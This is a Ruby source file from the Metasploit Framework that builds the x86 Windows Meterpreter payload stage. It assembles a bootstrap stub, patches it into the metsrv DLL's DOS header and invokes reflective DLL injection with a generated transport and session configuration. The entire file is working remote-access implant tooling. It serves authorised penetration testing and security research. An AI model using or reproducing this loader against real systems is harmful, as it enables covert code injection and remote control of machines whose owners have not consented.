lib/msf/core/payload/windows/meterpreter_loader.rb
# -*- coding: binary -*-
module Msf
###
#
# Common module stub for ARCH_X86 payloads that make use of Meterpreter.
#
###
module Payload::Windows::MeterpreterLoader
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Meterpreter & Configuration RDI',
'Description' => 'Inject Meterpreter & the configuration stub via RDI',
'Author' => [ 'sf', 'OJ Reeves' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" }
))
end
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
null_session_guid: opts[:null_session_guid] == true,
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true,
}.merge(meterpreter_logging_config(opts))
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
debug_build = ds['MeterpreterDebugBuild']
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
end
end